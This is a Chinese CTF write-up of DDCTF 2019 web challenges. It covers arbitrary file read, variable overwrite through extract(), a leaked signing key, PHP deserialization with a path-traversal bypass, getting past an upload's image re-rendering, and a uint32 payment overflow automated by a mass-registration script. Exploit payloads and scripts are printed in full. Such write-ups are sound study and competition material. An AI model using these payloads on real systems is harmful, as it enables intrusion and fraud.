最近几天抽时间做了做DDCTF,只做出了几道Web,菜哭了==,这里将做出的题记录一下吧(参赛id:stark)
滴~
http://117.51.150.246
打开题目后跳到了一个连接,页面内容是一个表情包,jpg参数值看起来像一串base64,如下图
将jpg的参数值TmpZMlF6WXhOamN5UlRaQk56QTJOdz09经过两次base64解码和一次hex解码后得到flag.jpg,另外在页面源码里面看到了flag.jpg图片内容base64编码后的内容,这里是使用img标签通过data伪协议将图片显示到了页面中
所以猜测这里可能是一个任意文件读取,将index.php进行一次hex编码两次base64编码后得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,将值传入jpg参数尝试读取index.php源码,可以读取成功
结果如下:
PD9waHANCi8qDQogKiBodHRwczovL2Jsb2cuY3Nkbi5uZXQvRmVuZ0JhbkxpdVl1bi9hcnRpY2xlL2RldGFpbHMvODA2MTY2MDcNCiAqIERhdGU6IEp1bHkgNCwyMDE4DQogKi8NCmVycm9yX3JlcG9ydGluZyhFX0FMTCB8fCB+RV9OT1RJQ0UpOw0KDQoNCmhlYWRlcignY29udGVudC10eXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Jyk7DQppZighIGlzc2V0KCRfR0VUWydqcGcnXSkpDQogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2pwZz1UbXBaTWxGNldYaE9hbU41VWxSYVFrNTZRVEpPZHowOScpOw0KJGZpbGUgPSBoZXgyYmluKGJhc2U2NF9kZWNvZGUoYmFzZTY0X2RlY29kZSgkX0dFVFsnanBnJ10pKSk7DQplY2hvICc8dGl0bGU+Jy4kX0dFVFsnanBnJ10uJzwvdGl0bGU+JzsNCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwiIiwgJGZpbGUpOw0KZWNobyAkZmlsZS4nPC9icj4nOw0KJGZpbGUgPSBzdHJfcmVwbGFjZSgiY29uZmlnIiwiISIsICRmaWxlKTsNCmVjaG8gJGZpbGUuJzwvYnI+JzsNCiR0eHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQoNCmVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIi4kdHh0LiInPjwvaW1nPiI7DQovKg0KICogQ2FuIHlvdSBmaW5kIHRoZSBmbGFnIGZpbGU/DQogKg0KICovDQoNCj8+DQo=
base64解码后:
<?php /* * https://blog.csdn.net/FengBanLiuYun/article/details/80616607 * Date: July 4,2018 */ error_reporting(E_ALL || ~E_NOTICE); header('content-type:text/html;charset=utf-8'); if(! isset($_GET['jpg'])) header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09'); $file = hex2bin(base64_decode(base64_decode($_GET['jpg']))); echo '<title>'.$_GET['jpg'].'</title>'; $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); echo $file.'</br>'; $file = str_replace("config","!", $file); echo $file.'</br>'; $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64,".$txt."'></img>"; /* * Can you find the flag file? * */ ?>
通过源码可以大概猜测出来flag在config.php配置文件里面,经过测试这个文件是存在的,但是str_replace(“config”,”!”, $file)会将传入的config.php替换为!.php,所以这里是绕不过去的,但是代码里面有一个博客链接:
https://blog.csdn.net/FengBanLiuYun/article/details/80616607
这里可能是一个hint,但是这篇连接的文章并没有什么提示,接下来在博客里翻到了一篇文章,这个文章讲的是有关临时交换文件的
https://blog.csdn.net/FengBanLiuYun/article/details/80913909
这篇文章里面提到了一个名为practice.txt.swp的文件,开了一下脑洞,试着访问了一下该文件发现确实存在
文件内容是另一个文件的名字f1ag!ddctf.php,并且里面有!,可以绕过之前的检测,所以这里可以读取到f1ag!ddctf.php文件,将f1agconfigddctf.php进行一次hex编码两次base64编码后构造出TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==,传入jpg参数读到f1ag!ddctf.php的源码
得到结果:
PD9waHANCmluY2x1ZGUoJ2NvbmZpZy5waHAnKTsNCiRrID0gJ2hlbGxvJzsNCmV4dHJhY3QoJF9HRVQpOw0KaWYoaXNzZXQoJHVpZCkpDQp7DQogICAgJGNvbnRlbnQ9dHJpbShmaWxlX2dldF9jb250ZW50cygkaykpOw0KICAgIGlmKCR1aWQ9PSRjb250ZW50KQ0KCXsNCgkJZWNobyAkZmxhZzsNCgl9DQoJZWxzZQ0KCXsNCgkJZWNobydoZWxsbyc7DQoJfQ0KfQ0KDQo/Pg==
base64解码得到源码内容:
<?php include('config.php'); $k = 'hello'; extract($_GET); if(isset($uid)) { $content=trim(file_get_contents($k)); if($uid==$content) { echo $flag; } else { echo'hello'; } } ?>
这里是一个简单的变量覆盖,可以构造: http://117.51.150.246/f1ag!ddctf.php?uid=f1ag!ddctf.php&k=practice.txt.swp
获取flag
flag:DDCTF{436f6e67726174756c6174696f6e73}
另外这里有一个tip,可以不使用变量覆盖,直接构造 http://117.51.150.246/f1ag!ddctf.php?uid=
获取到flag
因为$k变量的值hello是一个不存在的文件,会导致 file_get_contents
返回False,接下来False经过 trim
函数处理后会产生一次类型转换变成空字符串,所以 $uid==$content
,直接输出了flag
WEB签到题
http://117.51.158.44/index.php
打开后直接访问会提示没有登陆权限
查看源码后发现存在一个 /js/index.js
文件,index.js代码如下:
/** * Created by PhpStorm. * User: didi * Date: 2019/1/13 * Time: 9:05 PM */ function auth(){ $.ajax({ type: "post", url:"http://117.51.158.44/app/Auth.php", contentType: "application/json;charset=utf-8", dataType: "json", beforeSend: function (XMLHttpRequest){ XMLHttpRequest.setRequestHeader("didictf_username", ""); }, success: function (getdata){ console.log(getdata); if(getdata.data !== '') { document.getElementById('auth').innerHTML = getdata.data; } },error:function(error){ console.log(error); } }); }
通过简单的审计可以看到这里存在一个认证,通过ajax添加了一个http请求头 didictf_username
,猜测服务端是根据这个header头的值去做认证的,如果想访问到页面,首先需要得到出来一个username值,所以这里先对 didictf_username
进行爆破,通过爆破看到admin可以认证成功,之后会返回一个提示:app\/fL2XID2i0Cdh.php这个文件
访问 http://117.51.158.44/app/fL2XID2i0Cdh.php
,可以获取到源码,源码如下:
url:app/Application.php Class Application{ var $path = ''; public function response($data, $errMsg ='success'){ $ret = ['errMsg' => $errMsg, 'data' => $data]; $ret = json_encode($ret); header('Content-type: application/json'); echo $ret; } public function auth(){ $DIDICTF_ADMIN = 'admin'; if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) { $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php'); return TRUE; }else{ $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error'); exit(); } } private function sanitizepath($path){ $path = trim($path); $path=str_replace('../','',$path); $path=str_replace('..\\','',$path); return $path; } public function __destruct(){ if(empty($this->path)) { exit(); }else{ $path = $this->sanitizepath($this->path); if(strlen($path) !== 18) { exit(); } $this->response($data=file_get_contents($path),'Congratulations'); } exit(); } } url:app/Session.php include 'Application.php'; class Sessionextends Application{ //key建议为8位字符串 var $eancrykey = ''; var $cookie_expiration = 7200; var $cookie_name = 'ddctf_id'; var $cookie_path = ''; var $cookie_domain = ''; var $cookie_secure = FALSE; var $activity = "DiDiCTF"; public function index() { if(parent::auth()) { $this->get_key(); if($this->session_read()) { $data = 'DiDI Welcome you %s'; $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']); parent::response($data,'sucess'); }else{ $this->session_create(); $data = 'DiDI Welcome you'; parent::response($data,'sucess'); } } } private function get_key(){ //eancrykey and flag under the folder $this->eancrykey = file_get_contents('../config/key.txt'); } public function session_read(){ if(empty($_COOKIE)) { return FALSE; } $session = $_COOKIE[$this->cookie_name]; if(!isset($session)) { parent::response("session not found",'error'); return FALSE; } $hash = substr($session,strlen($session)-32); $session = substr($session,0,strlen($session)-32); if($hash !== md5($this->eancrykey.$session)) { parent::response("the cookie data not match",'error'); return FALSE; } $session = unserialize($session); if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){ return FALSE; } if(!empty($_POST["nickname"])) { $arr = array($_POST["nickname"],$this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent::response($data,"Welcome"); } if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) { parent::response('the ip addree not match'.'error'); return FALSE; } if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) { parent::response('the user agent not match','error'); return FALSE; } return TRUE; } private function session_create(){ $sessionid = ''; while(strlen($sessionid) < 32) { $sessionid .= mt_rand(0,mt_getrandmax()); } $userdata = array( 'session_id' => md5(uniqid($sessionid,TRUE)), 'ip_address' => $_SERVER['REMOTE_ADDR'], 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'user_data' => '', ); $cookiedata = serialize($userdata); $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata); $expire = $this->cookie_expiration + time(); setcookie( $this->cookie_name, $cookiedata, $expire, $this->cookie_path, $this->cookie_domain, $this->cookie_secure ); } } $ddctf = new Session(); $ddctf->index();
通过对代码代码审计可以看到在$session = unserialize($session)这里存在一个反序列化漏洞,这个点应该是个突破点,可以通过传入反序列化字符串触发Application对象当中的_destructs方法,_destructs当中存在任意文件读取,通过任意文件读取就可以读取到flag,另外代码里面限制了$path值为18个字符,结合代码的注释可以大概猜到flag文件为 ../config/flag.txt
。
但是想要触发反序列化漏洞,首先需要获取到 ../config/key.txt
文件当中的key,否则cookie是不能随意修改的,因为这里存在认证,获取key的方法如下
第一步,请求Session.php, session_create
函数会设置cookie,这里先获取到cookie
第二步:将获取到的cookie添加到请求里面,绕过”the cookie data not match”
接下来在传入post参数nickname的代码处,有一个foreach循环,这里会将key输出,代码如下:
第一次循环,将Welcome my friend %s当中的%s替换为了 $_POST['nickname']
,此时$data变为了Welcome my friend $_POST['nickname']
,第二次循环,要将key写入$data的时候,%s已经没有了,所以这里只输出了传入的nickname而不是key
那么要想输出key,可以将nickname设置为%s,这样第一次循环后$data变为了Welcome my friend %s,第二次循环后%s就可以被替换为key输出了
获取到key值: EzblrbNSO
,得到key后,$cookiedata的值就可以随便构造了,这里构造序列化字符串进行任意文件读取,生成的exp代码如下:
<?php Class Application{ var $path = '..././config/flag.txt'; } $a=new Application(); echo serialize($a); echo md5('EzblrbNSO:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}'); ?>
因为 $path=str_replace('../','',$path);$path=str_replace('..\\','',$path);
会删除 ../
,所以这里需要使用双写 ..././
绕过,之后得到:
O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}5a014dbe49334e6dbb7326046950bee2
将生成的exp进行传入cookie当中的ddctf_id请求即可,注意这里需要将 O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}
部分进行url编码,这样做是为了防止一些特殊字符的影响,然后就可以获取到flag了
flag: DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}
Upload-IMG
http://117.51.148.166/upload.php
题目提供了用户名和密码:
user:dd@ctf pass:DD@ctf#000
通过提供用户名密码登陆后看到是一个上传页面
经过尝试发现这里对图片的16进制头做了检查,另一方面也会对上传的图片进行二次渲染,上传的图片格式都会变成jpg图片格式的
这里要求上传的图片里必须要phpinfo()这个字符串才能输出flag,但是由于二次渲染会的原因,图片当中插入的代码会被删除,这里需要突破二次渲染,类似于upload-labs的第16关,相关文章如下:
https://xz.aliyun.com/t/2657
这里可以使用文章当中提到的国外大神写的脚本实现对jpg二次渲染的突破
https://github.com/BlackFan/jpg_payload
最终通过脚本生成的图片成功得到flag
flag: DDCTF{B3s7_7ry_php1nf0_85127c366b3a9fad}
大吉大利,今晚吃鸡~
http://117.51.147.155:5050/index.html#/login
题目提示:注册用户登陆系统并购买入场票据,淘汰所有对手就能吃鸡啦~
注册账户登陆,发现自己只有100余额,但是购买门票需要2000余额
于是想到了之前护网杯买大辣条的一道题,这里应该存在整型溢出,经过测试发现这里存在uint32位的整型溢出.在立即购买下订单的时候修改金额为2^32+1,也就是4294967297
接下来在支付的时候可以产生溢出,通过1余额购买到门票
买到票后可以获得礼包,礼包当中包括了id和ticket,游戏规则大概是这样:每个账号在买完票后都会生成自己的id和ticket,如果想要消灭对方,需要知道对方的id和ticket才可以。
但是这一点注册账号是没有任何限制的,所以这里可以通过注册大量的账号,通过溢出购买门票获得id和ticket,之后使用其中一个账号消灭其它的账号即可,整个过程可以通过脚本实现,几个操作的接口如下:
注册接口
http://117.51.147.155:5050/ctf/api/register?name=xxx&password=xxx
登陆接口
http://117.51.147.155:5050/ctf/api/login?name=xxx&password=xxx
请求支付/下订单接口,下完订单会返回对应的bill_id
http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967297
支付接口:通过溢出实现门票购买,购买成功后会返回对于的id和ticket
http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=
移除对手接口
http://117.51.147.155:5050/ctf/api/remove_robot?id=xxx&ticket=xxx
最终编写出脚本如下:
import requests import json username=[] def register(): i=1 while True: url="http://117.51.147.155:5050/ctf/api/register?name=mk%s&password=12345678"%(i) r=requests.get(url).json() print r if len(username)==400: print username break if r['code']==200: username.append("mk%s"%(i)) i=i+1 else: i=i+1 register() for i in username: url="http://117.51.147.155:5050/ctf/api/login?name=%s&password=12345678"%(i) #print url r=requests.session() r.get(url) payurl="http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967297" data=r.get(payurl).json() bill_id=data['data'][0]['bill_id'] pay="http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s"%(bill_id) data=r.get(pay).json() yourid=data['data'][0]['your_id'] ticket=data['data'][0]['your_ticket'] r.get("http://117.51.147.155:5050/ctf/api/login?name=st4rk&password=12345678") delurl="http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s"%(yourid,ticket) print r.get(delurl).json()
接下来就可以执行脚本获取flag,需要注意的一点就是这里不是每个账号都可以消灭成功的,而且越往后,消灭的概率就会越低,写这道题的时候自己大概注册了快10000个账号才吃到鸡==
最终获取到flag:
flag: DDCTF{chiken_dinner_hyMCX[n47Fx)}
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- DDCTF2019 write up
- DDCTF2019官方Write Up——MISC篇
- DDCTF2019官方Write Up——Android篇
- DDCTF2019官方Write Up——Web篇
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
RGB转16进制工具
RGB HEX 互转工具
HEX HSV 转换工具
HEX HSV 互换工具